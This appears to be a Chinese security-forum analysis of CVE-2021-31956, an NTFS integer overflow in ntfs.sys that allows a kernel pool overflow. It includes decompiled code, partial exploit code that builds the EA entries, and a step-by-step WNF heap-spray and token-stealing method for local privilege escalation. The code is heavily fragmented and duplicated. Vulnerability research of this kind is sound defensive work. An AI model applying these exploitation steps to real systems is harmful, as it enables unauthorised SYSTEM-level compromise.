CVE-2021-31956是由Windows Ntfs组件系统存在整形溢出所导致,该漏洞可导致本地权限提升。
该漏洞发生在ntfs.sys中的NtfsQueryEaUserEaList函数中
上面的代码片段在循环遍历文件中的每个EA拓展属性,并将其拷贝到堆中,每次拷贝的大小为ea_block->EaValueLenght + ea_blocal->EaNameLength + 9。其中ea_block的结构如下:
在每次拷贝前有一个判断溢出的检查(RawEaSize <= UserBufferLength - padding),UserBufferLength是由参数传入并在每次循环中递减,padding由(padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize)计算而来,该表达式只会存在4个结果(0, 1, 2,3)。
内存拷贝的目的地址(v16)由参数传入,该参数是在NtfsCommonQueryEa函数中分配的内核池。
根据以上分析,当我们能够构造出“UserBufferLength < padding”时“RawEaSize <= UserBufferLength – padding”的溢出检查就会失效,从而进行内核池溢出。
总结来说,该漏洞有以下特点:
a) NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用,函数原型如下:
b) 溢出拷贝时数据和大小均可控。
c) 可以覆盖下一个内核池块
d) 内核池分配时大小可控,并且可以进行堆布局。
我们可以使用NtSetEaFile函数来为我们自己创建的文件添加EA拓展属性,其函数原型如下:
该函数的第3个参数是一个FILE_FULL_EA_INFORMATION结构的缓冲区,用来指定Ea属性的值。所以我们可以利用EA属性来构造PAYLOAD, 在使用NtQueryEaFile函数来触发。
创建含有两个FILE_FULL_EA_INFORMATION结构的数组。
构造第一个FILE_FULL_EA_INFORMATION结构如下
构造第二个FILE_FULL_EA_INFORMATION结构如下
调用NtSetEaFile函数来设置文件的Ea属性。
构造NtQueryEaFile函数的Ealist参数如下:
调用NtQueryEaFile函数来触发漏洞,构造该函数的length参数为19,该参数可用来控制0环申请内存时的大小。
内核池分配
第一次内存copy
padding的计算
溢出检查失效
第二次内存拷贝时,成功溢出
应用程序可以订阅特定类型的事件(StateName标识),在每次状态更改时可以进行通知。
用来创建一个WNF对象,该函数会在0环创建一个WNF_NAME_INSTANCE对象,大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER ).
(NtCreateWnfStateName函数片段)
更新WNF StateData,当Length小于StateData->AllocateSize时会根据Length大小来分配内核池,否则会将Buffer中的数据拷贝到内核池中。
查询指定stateName对应的stateData, 当BufferSize小于StateData->DataSize时,该函数会调用失败,并返回C0000023。
进行堆喷射,在0环中造成以下的内存布局。
利用Ntfs Chunk覆盖StateData中的DataSize成员, 后续就可以使用NtQueryWnfStateData API来读取NAME INSTACE对象中的内容。覆盖StateData中的AllocateSize成员,后续就可以使用NtUpDateWnfStateData API来修改NAME INSTACE对象中的内容。
利用 State Data Chunk来覆盖Name Instance chunk中的StateData指针,后续使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写(需要构造AllocateSize和DataSize成员)。
1 按照如上所示进行内核池布局。
2 利用相对内存读取,读取NAME INSTACE对象中的内容。(NAME INSTANCE对象中有两个比较重要的成员StateName和CreatorProcess, 前者由于所有的NAME INSTANCE对象都保存在一个排序二叉树中,破坏了StateName成员会导致系统无法找到相对应的NAME INSTANCE对象, 并且在进行喷射后我们也无法确定究竟是哪一个StateName对应的对象发生了溢出, 所以通过该方法可以准确定位到发生了溢出的NAME INSTANCE对象。 后者标识了当前进程的Eprocess对象,可以通过该对象来遍历所有进程的Eprocess结构)。
3 利用相对内存写入,修改NAME INSTANCE对象中的StateData成员为CreatorProcess (需要注意DataSize成员, 该成员直接影响读取的字节数和是否能够成功读取)。
4 利用任意内存读取遍历系统进程。
5 找到对应的系统进程后,利用任意内存读取获取系统进程的token。
6 利用任意内存写入,修改当前进程的token(需要注意AllocateSize成员)。
EXP已在Github上开源,目前只在win 1903上经过测试,稳定性大概在80%。
github传送门
CVE-2021-31956
_QWORD
*
__fastcall NtfsQueryEaUserEaList(_QWORD
*
a1,
FILE_FULL_EA_INFORMATION
*
CurrentEas,
__int64 a3, __int64 PEaBuffer,
unsigned
int
UserBufferLength,
FILE_GET_EA_INFORMATION
*
pUserEaList,
char a7)
{
. . . . . .
while
(
1
)
{
/
/
索引ealist中的成员,用作下面的查找。
v11
=
(FILE_GET_EA_INFORMATION
*
)((char
*
)pUserEaList
+
v9);
*
(_QWORD
*
)&DestinationString.Length
=
0i64
;
DestinationString.
Buffer
=
0i64
;
*
(_QWORD
*
)&SourceString.Length
=
0i64
;
SourceString.
Buffer
=
0i64
;
*
(_QWORD
*
)&DestinationString.Length
=
v11
-
>EaNameLength;
DestinationString.MaximumLength
=
DestinationString.Length;
DestinationString.
Buffer
=
v11
-
>EaName;
RtlUpperString(&DestinationString, &DestinationString);
/
/
检查ealist中成员的name是否有效
if
( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )
break
;
v12
=
v11
-
>NextEntryOffset;
v13
=
v11
-
>EaNameLength;
v22
=
v11
-
>NextEntryOffset
+
v9;
/
/
遍历查询的EaList
for
( curEaList
=
pUserEaList; ; curEaList
=
(FILE_GET_EA_INFORMATION
*
)((char
*
)curEaList
+
curEaList
-
>NextEntryOffset) )
{
if
( curEaList
=
=
v11 )
{
v15
=
offset;
/
/
v16 分配的内核池
v16
=
(_DWORD
*
)(PEaBuffer
+
padding
+
offset);
/
/
根据name查找对应的Ea信息
if
( NtfsLocateEaByName((__int64)CurrentEas,
*
(_DWORD
*
)(a3
+
4
), &DestinationString, &FeaOffset) )
{
ea_block
=
(FILE_FULL_EA_INFORMATION
*
)((char
*
)CurrentEas
+
FeaOffset);
/
/
计算内存拷贝大小
RawEaSize
=
ea_block
-
>EaValueLength
+
ea_block
-
>EaNameLength
+
9
;
/
/
防溢出检查
if
( RawEaSize <
=
UserBufferLength
-
padding )
{
/
/
溢出点
memmove(v16, ea_block, RawEaSize);
*
v16
=
0
;
goto LABEL_8;
}
}
. . . . . .
if
( !a7 )
{
if
( v24 )
*
v24
=
(_DWORD)v16
-
(_DWORD)v24;
/
/
判断是ealist中是否还有其他成员
if
( v11
-
>NextEntryOffset )
{
v24
=
v16;
/
/
总长度减去已经拷贝的长度
UserBufferLength
-
=
RawEaSize
+
padding;
/
/
padding的计算
padding
=
((RawEaSize
+
3
) &
0xFFFFFFFC
)
-
RawEaSize;
goto LABEL_26;
}
}
. . . . . .
}
(NtfsQueryEaUserEaList函数片段)
_QWORD
*
__fastcall NtfsQueryEaUserEaList(_QWORD
*
a1,
FILE_FULL_EA_INFORMATION
*
CurrentEas,
__int64 a3, __int64 PEaBuffer,
unsigned
int
UserBufferLength,
FILE_GET_EA_INFORMATION
*
pUserEaList,
char a7)
{
. . . . . .
while
(
1
)
{
/
/
索引ealist中的成员,用作下面的查找。
v11
=
(FILE_GET_EA_INFORMATION
*
)((char
*
)pUserEaList
+
v9);
*
(_QWORD
*
)&DestinationString.Length
=
0i64
;
DestinationString.
Buffer
=
0i64
;
*
(_QWORD
*
)&SourceString.Length
=
0i64
;
SourceString.
Buffer
=
0i64
;
*
(_QWORD
*
)&DestinationString.Length
=
v11
-
>EaNameLength;
DestinationString.MaximumLength
=
DestinationString.Length;
DestinationString.
Buffer
=
v11
-
>EaName;
RtlUpperString(&DestinationString, &DestinationString);
/
/
检查ealist中成员的name是否有效
if
( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )
break
;
v12
=
v11
-
>NextEntryOffset;
v13
=
v11
-
>EaNameLength;
v22
=
v11
-
>NextEntryOffset
+
v9;
/
/
遍历查询的EaList
for
( curEaList
=
pUserEaList; ; curEaList
=
(FILE_GET_EA_INFORMATION
*
)((char
*
)curEaList
+
curEaList
-
>NextEntryOffset) )
{
if
( curEaList
=
=
v11 )
{
v15
=
offset;
/
/
v16 分配的内核池
v16
=
(_DWORD
*
)(PEaBuffer
+
padding
+
offset);
/
/
根据name查找对应的Ea信息
if
( NtfsLocateEaByName((__int64)CurrentEas,
*
(_DWORD
*
)(a3
+
4
), &DestinationString, &FeaOffset) )
{
ea_block
=
(FILE_FULL_EA_INFORMATION
*
)((char
*
)CurrentEas
+
FeaOffset);
/
/
计算内存拷贝大小
RawEaSize
=
ea_block
-
>EaValueLength
+
ea_block
-
>EaNameLength
+
9
;
/
/
防溢出检查
if
( RawEaSize <
=
UserBufferLength
-
padding )
{
/
/
溢出点
memmove(v16, ea_block, RawEaSize);
*
v16
=
0
;
goto LABEL_8;
}
}
. . . . . .
if
( !a7 )
{
if
( v24 )
*
v24
=
(_DWORD)v16
-
(_DWORD)v24;
/
/
判断是ealist中是否还有其他成员
if
( v11
-
>NextEntryOffset )
{
v24
=
v16;
/
/
总长度减去已经拷贝的长度
UserBufferLength
-
=
RawEaSize
+
padding;
/
/
padding的计算
padding
=
((RawEaSize
+
3
) &
0xFFFFFFFC
)
-
RawEaSize;
goto LABEL_26;
}
}
. . . . . .
}
(NtfsQueryEaUserEaList函数片段)
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
/
/
下一个同类型结构的偏移,若是左后一个则为
0
。
UCHAR Flags;
UCHAR EaNameLength;
/
/
eanam数组的长度,不包含
0
终止字符。
USHORT EaValueLength;
/
/
数组中每个ea值的长度
CHAR EaName[
1
];
} FILE_FULL_EA_INFORMATION,
*
PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
/
/
下一个同类型结构的偏移,若是左后一个则为
0
。
UCHAR Flags;
UCHAR EaNameLength;
/
/
eanam数组的长度,不包含
0
终止字符。
USHORT EaValueLength;
/
/
数组中每个ea值的长度
CHAR EaName[
1
];
} FILE_FULL_EA_INFORMATION,
*
PFILE_FULL_EA_INFORMATION;
. . . . .
IrpSp
=
IoGetCurrentIrpStackLocation( Irp );
. . . . .
UserBufferLength
=
IrpSp
-
>Parameters.QueryEa.Length;
. . . . .
if
(
*
(_BYTE
*
)(a2
+
64
) )
{
v34
=
v14;
v4
=
ExAllocatePoolWithTag((POOL_TYPE)
17
, UserBufferLength,
0x4546744Eu
);
v28
=
v4;
v24
=
1
;
}
memset(v4,
0
, v10);
. . . . . .
if
( v33 )
{
v15
=
NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);
}
. . . . . .
(NtfsCommonQueryEa函数片段)
. . . . .
IrpSp
=
IoGetCurrentIrpStackLocation( Irp );
. . . . .
UserBufferLength
=
IrpSp
-
>Parameters.QueryEa.Length;
. . . . .
if
(
*
(_BYTE
*
)(a2
+
64
) )
{
v34
=
v14;
v4
=
ExAllocatePoolWithTag((POOL_TYPE)
17
, UserBufferLength,
0x4546744Eu
);
v28
=
v4;
v24
=
1
;
}
memset(v4,
0
, v10);
. . . . . .
if
( v33 )
{
v15
=
NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);
}
. . . . . .
(NtfsCommonQueryEa函数片段)
NTSTATUS ZwQueryEaFile(
[
in
] HANDLE FileHandle,
/
/
文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID
Buffer
,
/
/
扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)
[
in
] ULONG Length,
/
/
缓冲区大小
[
in
] BOOLEAN ReturnSingleEntry,
[
in
, optional] PVOID EaList,
/
/
指定需要查询的扩展属性
[
in
] ULONG EaListLength,
[
in
, optional] PULONG EaIndex,
/
/
指定需要查询的起始索引
[
in
] BOOLEAN RestartScan
);
NTSTATUS ZwQueryEaFile(
[
in
] HANDLE FileHandle,
/
/
文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID
Buffer
,
/
/
扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)
[
in
] ULONG Length,
/
/
缓冲区大小
[
in
] BOOLEAN ReturnSingleEntry,
[
in
, optional] PVOID EaList,
/
/
指定需要查询的扩展属性
[
in
] ULONG EaListLength,
[
in
, optional] PULONG EaIndex,
/
/
指定需要查询的起始索引
[
in
] BOOLEAN RestartScan
);
NTSTATUS ZwSetEaFile(
[
in
] HANDLE FileHandle,
/
/
文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[
in
] PVOID
Buffer
,
/
/
设置的Ea属性,指向FILE_FULL_EA_INFORMATION结构,该结构定义如上。
[
in
] ULONG Length
/
/
Ea属性缓冲区的长度
);
NTSTATUS ZwSetEaFile(
[
in
] HANDLE FileHandle,
/
/
文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[
in
] PVOID
Buffer
,
/
/
设置的Ea属性,指向FILE_FULL_EA_INFORMATION结构,该结构定义如上。
[
in
] ULONG Length
/
/
Ea属性缓冲区的长度
);
curEa
-
>Flags
=
0
;
/
/
EaNameLength
+
EaValueLength
+
9
等于当前结构的总大小, 这里构造为
18
,使padding
=
2.
curEa
-
>EaNameLength
=
3
;
curEa
-
>EaValueLength
=
6
;
/
/
NextEntryOffset指向下一个EA信息,必须
4
字节对齐。
curEa
-
>NextEntryOffset
=
(curEa
-
>EaNameLength
+
curEa
-
>EaValueLength
+
3
+
9
) & (~
3
);
memcpy(curEa
-
>EaName,
".PA"
,
3
);
RtlFillMemory(curEa
-
>EaName
+
curEa
-
>EaNameLength
+
1
,
6
,
0
);
curEa
-
>Flags
=
0
;
/
/
EaNameLength
+
EaValueLength
+
9
等于当前结构的总大小, 这里构造为
18
,使padding
=
2.
curEa
-
>EaNameLength
=
3
;
curEa
-
>EaValueLength
=
6
;
/
/
NextEntryOffset指向下一个EA信息,必须
4
字节对齐。
curEa
-
>NextEntryOffset
=
(curEa
-
>EaNameLength
+
curEa
-
>EaValueLength
+
3
+
9
) & (~
3
);
memcpy(curEa
-
>EaName,
".PA"
,
3
);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-1-12 00:57
被执着的追求编辑
,原因: